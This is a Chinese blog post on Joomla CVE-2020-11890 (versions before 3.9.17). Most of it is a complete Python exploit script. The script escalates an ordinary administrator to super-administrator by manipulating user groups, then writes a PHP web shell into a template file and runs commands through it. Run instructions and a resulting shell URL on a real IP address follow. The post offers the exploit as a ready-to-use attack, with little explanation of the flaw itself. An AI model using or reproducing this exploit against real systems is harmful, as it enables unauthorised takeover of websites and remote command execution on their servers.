(CVE-2020-11890)Joomal < 3.9.17 远程命令执行漏洞

影响版本

Joomla < 3.9.17

漏洞介绍

受影响的版本:3.9.17之前的Joomla核心
用户要求:管理员帐户(非超级管理员)
获得访问权限:创建一个新的超级管理员,然后触发RCE。

测试环境

vulfocus一键启动docker环境

poc

#!/usr/bin/python
import sys
import requests
import re
import argparse


def extract_token(resp):
    match = re.search(r'name="([a-f0-9]{32})" value="1"', resp.text, re.S)
    if match is None:
        print("[-] Cannot find CSRF token!\n")
        return None
    return match.group(1)


def try_admin_login(sess, url, uname, upass):
    admin_url = url + '/administrator/index.php'
    print('[+] Getting token for admin login')
    resp = sess.get(admin_url, verify=True)
    token = extract_token(resp)
    if not token:
        return False
    print('[+] Logging in to admin')
    data = {
        'username': uname,
        'passwd': upass,
        'task': 'login',
        token: '1'
    }
    resp = sess.post(admin_url, data=data, verify=True)
    if 'task=profile.edit' not in resp.text:
        print('[!] Admin Login Failure!')
        return None
    print('[+] Admin Login Successfully!')
    return True


def checkAdmin(url, sess):
    print("[+] Checking admin")
    url_check = url + '/administrator/index.php?option=com_users&view=users'
    resp = sess.get(url_check, verify=True)
    token = extract_token(resp)
    if not token:
        print "[-] You are not administrator!"
        sys.exit()
    return token


def checkSuperAdmin(url, sess):
    print("[+] Checking Superadmin")
    url_check = url + '/administrator/index.php?option=com_config'
    resp = sess.get(url_check, verify=True)
    token = extract_token(resp)
    if not token:
        print "[-] You are not Super-Users!"
        sys.exit()
    return token


def changeGroup(url, sess, token):
    print("[+] Changing group")
    newdata = {
        'jform

': 'Public', 'jform[parent_id]': 100, 'task': 'group.apply', token: 1 } newdata['task'] = 'group.apply' resp = sess.post(url + "/administrator/index.php?option=com_users&layout=edit&id=1", data=newdata, verify=True) if 'jform[parent_id]' not in resp.text: print('[!] Maybe failed to change group...') return False else: print "[+] Done!" return True def create_user(url, sess, username, password, email, token): newdata = { # Form data 'jform[name]': username, 'jform[username]': username, 'jform[password]': password, 'jform[password2]': password, 'jform[email]': email, 'jform[resetCount]': 0, 'jform[sendEmail]': 0, 'jform[block]': 0, 'jform[requireReset]': 0, 'jform[id]': 0, 'jform[groups][]': 8, token: 1, } newdata['task'] = 'user.apply' url_post = url + "/administrator/index.php?option=com_users&layout=edit&id=0" sess.post(url_post, data=newdata, verify=True) sess.get(url + "/administrator/index.php?option=com_login&task=logout&" + token + "=1", verify=True) sess = requests.Session() if try_admin_login(sess, url, username, password): print "[+] Now, you are super-admin!!!!!!!!!!!!!!!!" + "\n[+] Your super-admin account: \n[+] USERNAME: " + username + "\n[+] PASSWORD: " + password + "\n[+] Done!" else: print "[-] Sorry,exploit fail!" return sess def changeGroupDefault(url, sess, token): print("[+] Changing group") newdata = { 'jform

': 'Public', 'jform[parent_id]': 0, 'task': 'group.apply', token: 1 } newdata['task'] = 'group.apply' resp = sess.post(url + "/administrator/index.php?option=com_users&layout=edit&id=1", data=newdata, verify=True) if 'jform[parent_id]' not in resp.text: print('[!] Maybe failed to change group...') return False else: print "[+] Done!" return True def rce(sess, url, cmd, token): filename = 'error.php' shlink = url + '/administrator/index.php?option=com_templates&view=template&id=506&file=506&file=L2Vycm9yLnBocA%3D%3D' shdata_up = { 'jform[source]': "<?php echo 'Hacked by HK\n' ;system($_GET['cmd']); ?>", 'task': 'template.apply', token: '1', 'jform[extension_id]': '506', 'jform[filename]': '/' + filename } sess.post(shlink, data=shdata_up) path2shell = '/templates/protostar/error.php?cmd=' + cmd # print '[+] Shell is ready to use: ' + str(path2shell) print '[+] Checking:' shreq = sess.get(url + path2shell) shresp = shreq.text print shresp + '[+] Shell link: \n' + (url + path2shell) print '[+] Module finished.' def main(): # Construct the argument parser ap = argparse.ArgumentParser() # Add the arguments to the parser ap.add_argument("-url", "--url", required=True, help=" URL for your Joomla target") ap.add_argument("-u", "--username", required=True, help="username") ap.add_argument("-p", "--password", required=True, help="password") ap.add_argument("-usuper", "--usernamesuper", default="hk", help="Super's username") ap.add_argument("-psuper", "--passwordsuper", default="12345678", help="Super's password") ap.add_argument("-esuper", "--emailsuper", default="hk@hk.com", help="Super's Email") ap.add_argument("-cmd", "--command", default="whoami", help="command") args = vars(ap.parse_args()) # target url = format(str(args['url'])) print '[+] Your target: ' + url # username uname = format(str(args['username'])) # password upass = format(str(args['password'])) # command command = format(str(args['command'])) # username of superadmin usuper = format(str(args['usernamesuper'])) # password of superadmin psuper = format(str(args['passwordsuper'])) # email of superadmin esuper = format(str(args['emailsuper'])) # session sess = requests.Session() if not try_admin_login(sess, url, uname, upass): sys.exit() token = checkAdmin(url, sess) if not changeGroup(url, sess, token): print "[-] Sorry,exploit fail!" sys.exit() sess = create_user(url, sess, usuper, psuper, esuper, token) token = checkSuperAdmin(url, sess) # Now you are Super-admin if token: # call RCE changeGroupDefault(url, sess, token) # easy to view :)) rce(sess, url, command, token) if __name__ == "__main__": sys.exit(main())

执行命令

 python CVE-2020-11890.py -url http://188.40.189.135:10159/ -u admin -p admin

返回webshell信息

http://188.40.189.135:10159//templates/protostar/error.php?cmd=whoami

大概就这些……

点赞

发表评论

电子邮件地址不会被公开。必填项已用 * 标注